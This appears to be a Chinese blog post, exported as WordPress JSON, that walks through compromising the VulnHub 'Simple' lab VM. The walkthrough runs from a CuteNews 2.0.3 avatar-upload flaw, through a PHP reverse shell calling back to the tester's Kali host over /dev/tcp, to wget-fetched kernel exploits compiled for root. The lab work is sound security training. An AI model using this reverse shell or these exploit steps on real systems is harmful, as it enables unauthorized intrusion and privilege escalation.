{"id":411,"date":"2023-07-11T16:03:58","date_gmt":"2023-07-11T08:03:58","guid":{"rendered":"https:\/\/blog.byzhb.top\/?p=411"},"modified":"2023-07-11T16:35:16","modified_gmt":"2023-07-11T08:35:16","slug":"neihe1","status":"publish","type":"post","link":"https:\/\/blog.byzhb.top\/index.php\/2023\/07\/11\/neihe1\/","title":{"rendered":"\u5185\u6838\u63d0\u6743(1)"},"content":{"rendered":"

\u524d\u8a00<\/h1>\n

\u5728\u4e0a\u4e2a\u5047\u671f\u5b66\u4e86\u5f88\u591a\u6709\u5173 SUID\u63d0\u6743\u548cSUDO\u514d\u5bc6\u63d0\u6743\u7684\u77e5\u8bc6\uff0c\u4e5f\u6253\u8fc7\u4e86\u5f88\u591a\u9776\u673a\uff0c\u5728\u8fd9\u4e2a\u5047\u671f\u51c6\u5907\u4e86\u89e3\u5b66\u4e60\u4e00\u4e0b\u5185\u6838\u63d0\u6743<\/strong>\uff0c\u8865\u5168\u81ea\u5df1\u7684\u63d0\u6743\u65b9\u9762\u7684\u77e5\u8bc6\u70b9<\/p>\n

\u4e00\u3001\u5bfc\u5165\u5e76\u6253\u5f00\u9776\u673a<\/h1>\n

\u8fd9\u6b21\u7684\u9776\u673a\u6709\u5173\u5185\u6838\u63d0\u6743\uff0c\u9776\u673a\u94fe\u63a5(https:\/\/download.vulnhub.com\/sectalks\/Simple.ova<\/a>)<\/p>\n

\"image-20230711122603129\"<\/div><\/p>\n

\u4e8c\u3001kali\u6e17\u900f<\/h1>\n

\u9996\u5148\u4f7f\u7528 netdiscover \u8fdb\u884c\u9776\u673aip\u5730\u5740\u53d1\u73b0<\/p>\n

\"image-20230711123615659\"<\/div><\/p>\n

\u7136\u540e\u4f7f\u7528 nmap \u8fdb\u884c\u9776\u673a\u5730\u5740ip\u626b\u63cf<\/p>\n

nmap -A -p- -v 192.168.126.133<\/code><\/pre>\n
\u626b\u63cf\u53d1\u73b080\u7aef\u53e3<\/p>\n
\"image-20230711123749997\"<\/div><\/p>\n
\u5c1d\u8bd5\u8bbf\u95ee\uff0c\u662f\u4e00\u4e2a\u7b80\u5355\u7684\u767b\u9646\u9875\u9762\uff0c\u5e76\u4e14\u7ed9\u51fa\u4e86\u8be6\u7ec6\u7684CMS\u7248\u672c\u4fe1\u606f<\/p>\n
\"image-20230711124535548\"<\/div><\/p>\n
\u6211\u4eec\u4f7f\u7528 searchsploit \u641c\u7d22\u4e0b\u76f8\u5173\u6f0f\u6d1e<\/p>\n
searchsploit CuteNews 2.0.3 <\/code><\/pre>\n
\u6210\u529f\u627e\u5230\u4e00\u4e2a\u6587\u4ef6\u5565\u4e0a\u4f20\u7684\u6f0f\u6d1e\uff0c\u6211\u4eec\u5c06\u6f0f\u6d1e\u8bf4\u660e\u4e0b\u8f7d\u4e0b\u6765<\/p>\n
\"image-20230711124835872\"<\/div><\/p>\n
searchsploit CuteNews 2.0.3 -m php\/webapps\/37474.txt<\/code><\/pre>\n
\u6253\u5f00\u6f0f\u6d1e\u8bf4\u660e\uff0c\u8ddf\u7740\u6559\u7a0b\u4e00\u6b65\u6b65\u8d70\uff08\u8fd9\u91cc\u4f53\u73b0\u4e86\u5b66\u597d\u82f1\u8bed\u7684\u91cd\u8981\u6027\uff09<\/p>\n
\"image-20230711125202501\"<\/div><\/p>\n
\u6211\u4eec\u9996\u5148\u6ce8\u518c\u4e00\u4e2a\u8d26\u53f7<\/p>\n
\"image-20230711125503118\"<\/div><\/p>\n
\u6ce8\u518c\u6210\u529f<\/p>\n
\"image-20230711125517505\"<\/div><\/p>\n
\u6211\u4eec\u5148\u751f\u6210\u4e00\u4e2a\u53cd\u5f39shell\u7684php\u6587\u4ef6\uff0c\u7528\u4e8e\u4e0b\u4e00\u6b65\u4e0a\u4f20\u5934\u50cf<\/p>\n
<?php exec('bash -i >& \/dev\/tcp\/192.168.126.132\/9999 0>&1'); ?>\n    #ip\u4e3a\u6211\u4eeckali\u7684ip<\/code><\/pre>\n
\u7136\u540e\u5728kali\u76d1\u542c 9999 \u7aef\u53e3<\/p>\n
nc -lvnp 9999  <\/code><\/pre>\n
\u7136\u540e\u6839\u636e\u63d0\u5347\uff0c\u8fdb\u5165\u4e2a\u4eba\u4fe1\u606f\u4fee\u6539\u754c\u9762<\/p>\n
\"image-20230711130437270\"<\/div><\/p>\n
\u6211\u4eec\u4e0a\u4f20\u521a\u624d\u7684shell\u6587\u4ef6<\/p>\n
\"image-20230711130555987\"<\/div><\/p>\n
\u53d1\u73b0\u8be5\u5904\u6ca1\u6709\u8fc7\u6ee4\uff0cphp\u683c\u5f0f\u53ef\u987a\u5229\u4e0a\u4f20<\/p>\n
\"image-20230711130628479\"<\/div><\/p>\n
\u6211\u4eec\u6839\u636e\u6f0f\u6d1e\u62ab\u9732\u4e2d\u7ed9\u51fa\u7684\u8def\u5f84\uff0c\u8bbf\u95ee\u6211\u4eec\u7684shell<\/p>\n
\"image-20230711130919480\"<\/div><\/p>\n
\u56de\u5230kali\uff0c\u770b\u76d1\u542c\u7684\u7aef\u53e3\uff0c\u6210\u529f\u5f97\u5230\u666e\u901a\u6743\u9650\u7684shell\uff0c\u5230\u6b64\u6f0f\u6d1e\u5229\u7528\u5b8c\u6bd5<\/p>\n
\"image-20230711134636998\"<\/div><\/p>\n
\u83b7\u53d6\u7cfb\u7edf\u7248\u672c\u4fe1\u606f\uff0c\u51c6\u5907\u5185\u6838\u63d0\u6743
\"image-20230711135012811\"<\/div><\/p>\n
\u641c\u7d22\u76f8\u5e94\u7684\u63d0\u6743exp<\/p>\n
searchsploit kernel 3.16.0-30                       <\/code><\/pre>\n
\"image-20230711135254766\"<\/div><\/p>\n
\u5c1d\u8bd5\u7528\u4e0b 37292\u53f7exp\uff0c\u6211\u4eec\u8fdb\u884c\u4e0b\u8f7d<\/p>\n
\"image-20230711135443691\"<\/div><\/p>\n
\u6211\u4eec\u5728\u8be5exp\u6240\u5c5e\u6587\u4ef6\u5939\uff0c\u5f00\u4e00\u4e2a80\u7aef\u53e3\u7684web\u670d\u52a1\uff0c\u4ee5\u4f9b\u9776\u673a\u4e0b\u8f7d\u63d0\u6743exp<\/p>\n
sudo php -S 0:80<\/code><\/pre>\n
\"image-20230711140149651\"<\/div><\/p>\n
\u56de\u5230shell\u7a97\u53e3\uff0c\u7528wget\u547d\u4ee4\u4e0b\u8f7d\u63d0\u6743\u811a\u672c<\/p>\n
wget 192.168.126.132\/37292.c<\/code><\/pre>\n
\"image-20230711140411464\"<\/div><\/p>\n
\u7136\u540e\u5bf9exp\u8fdb\u884c\u7f16\u8bd1\uff0c\u5982\u56fe\u7f16\u8bd1\u6210\u529f<\/p>\n
gcc 37292.c -o 37292<\/code><\/pre>\n
\"image-20230711140739877\"<\/div><\/p>\n
\u8fd0\u884c\u7f16\u8bd1\u540e\u7684exp\u53d1\u73b0\u5229\u7528\u5931\u8d25\uff0c\u8fd8\u662f\u666e\u901a\u6743\u9650<\/p>\n
\"image-20230711140908109\"<\/div><\/p>\n
\u8fd9\u91cc\u6211\u4eec\u7528\u4e00\u4e0b linpeas\u63d0\u6743\u5efa\u8bae\u5de5\u5177(https:\/\/github.com\/carlospolop\/PEASS-ng\/releases\/download\/20230425-bd7331ea\/linpeas.sh<\/a>), \u540c\u6837\u5f00\u542f\u4e00\u4e2aweb\u670d\u52a1\uff0c\u5c06\u5de5\u5177\u4e0b\u8f7d\u5230\u9776\u673a\uff0c\u7136\u540e\u8d4b\u4e88\u53ef\u6267\u884c\u6743\u9650\uff0c\u7136\u540e\u8fd0\u884c<\/p>\n
\"image-20230711144958849\"<\/div><\/p>\n
\u6839\u636e\u5efa\u8bae\uff0c\u6211\u4eec\u4e0b\u8f7d\u810f\u725b\u63d0\u6743\u811a\u672c\uff0c\u6309\u7167exp\u4e2d\u6307\u5b9a\u7684\u65b9\u6cd5\u7f16\u8bd1\u548c\u8fd0\u884c\u540e\uff0c\u53d1\u73b0\u63d0\u6743\u4ecd\u5931\u8d25<\/p>\n
\"image-20230711150531828\"<\/div><\/p>\n
\u4ecd\u4e3a\u666e\u901a\u7528\u6237<\/p>\n
\"image-20230711150559245\"<\/div><\/p>\n
\u7ecf\u8fc7\u4e00\u756a\u5c1d\u8bd5\uff0c\u901a\u8fc7\u641c\u7d22 Ubuntu 14\uff0c\u6210\u529f\u627e\u5230\u4e86\u53ef\u7528\u63d0\u6743\u811a\u672c<\/p>\n
searchsploit Ubuntu 14<\/code><\/pre>\n
\"image-20230711152257435\"<\/div><\/p>\n
\u5728\u5f00\u542fweb\u670d\u52a1\uff0c\u5c06\u811a\u672c\u5b58\u5230\u9776\u673a\u540e\uff0c\u6211\u4eec\u6309\u7167\u8981\u6c42\u8fdb\u884c\u7f16\u8bd1<\/p>\n
gcc -static 36746.c -o 36746\n#\u7f16\u8bd1\u8b66\u544a\u53ef\u5ffd\u7565<\/code><\/pre>\n
\"image-20230711152859488\"<\/div><\/p>\n
\u8fd0\u884c\u7f16\u8bd1\u5b8c\u7684\u6587\u4ef6\uff0c\u663e\u793a\u63d0\u6743\u6210\u529f\uff0c\u4e3aroot\u6743\u9650<\/p>\n
\"image-20230711153038205\"<\/div><\/p>\n
\u4e3a\u4e86\u65b9\u4fbf\u64cd\u4f5c\uff0c\u6211\u4eec\u5c06\u5176\u53d8\u4e3a\u4ea4\u4e92\u5f0fshell<\/p>\n
python -c 'import pty;pty.spawn("\/bin\/bash");'<\/code><\/pre>\n
\u6211\u4eec\u8fdb\u5165\u6839\u76ee\u5f55\u67e5\u770bflag.txt<\/p>\n
\"image-20230711153655572\"<\/div><\/p>\n
flag \u4e3a\uff1a<\/p>\n
\n
U wyn teh Interwebs!!1eleven11!!1!
\nHack the planet!<\/p>\n<\/blockquote>\n
\u4e09\u3001\u603b\u7ed3<\/h1>\n
\u8be5\u9776\u673a\u9996\u5148\u53d1\u73b0\u4e86\u4e00\u4e2a\u8d26\u53f7\u6ce8\u518c\u767b\u5f55\u9875\u9762\uff0c\u7136\u540e\u901a\u8fc7searchsploit\u5de5\u5177\u8fdb\u884ccms\u6f0f\u6d1e\u641c\u7d22\uff0c\u518d\u4e00\u6b65\u6b65\u7684\u6839\u636e\u6f0f\u6d1e\u5229\u7528\u6b65\u9aa4\uff0c\u5728\u5934\u50cf\u5904\u4e0a\u4f20\u53cd\u5f39shell\u6587\u4ef6\uff0c\u7136\u540e\u8fdb\u884c\u8bbf\u95ee\uff0c\u6210\u529f\u53cd\u5f39\u666e\u901a\u6743\u9650shell\uff0c\u6700\u540e\u901a\u8fc7\u4e0d\u65ad\u7684\u5c1d\u8bd5\u63d0\u6743\u811a\u672c\uff0c\u6700\u540e\u5185\u6838\u63d0\u6743\u6210\u529f\uff0c\u96be\u70b9\u5728\u4e8e\u63d0\u6743\u811a\u672c\u67e5\u627e<\/p>\n","protected":false},"excerpt":{"rendered":"
\u5185\u6838\u63d0\u6743\u662f\u6307\u901a\u8fc7\u5229\u7528\u64cd\u4f5c\u7cfb\u7edf\u5185\u6838\u4e2d\u7684\u6f0f\u6d1e\u6216\u9519\u8bef\u6765\u83b7\u5f97\u8d85\u7ea7\u7528\u6237\u6743\u9650\u6216\u7cfb\u7edf\u7279\u6743\u7684\u884c\u4e3a<\/p>\n","protected":false},"author":1,"featured_media":412,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[22,36],"tags":[24,26,23],"class_list":["post-411","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-webs","category-36","tag-linux","tag-web","tag-23"],"_links":{"self":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/411","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/comments?post=411"}],"version-history":[{"count":3,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/411\/revisions"}],"predecessor-version":[{"id":418,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/411\/revisions\/418"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/media\/412"}],"wp:attachment":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/media?parent=411"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/categories?post=411"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/tags?post=411"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}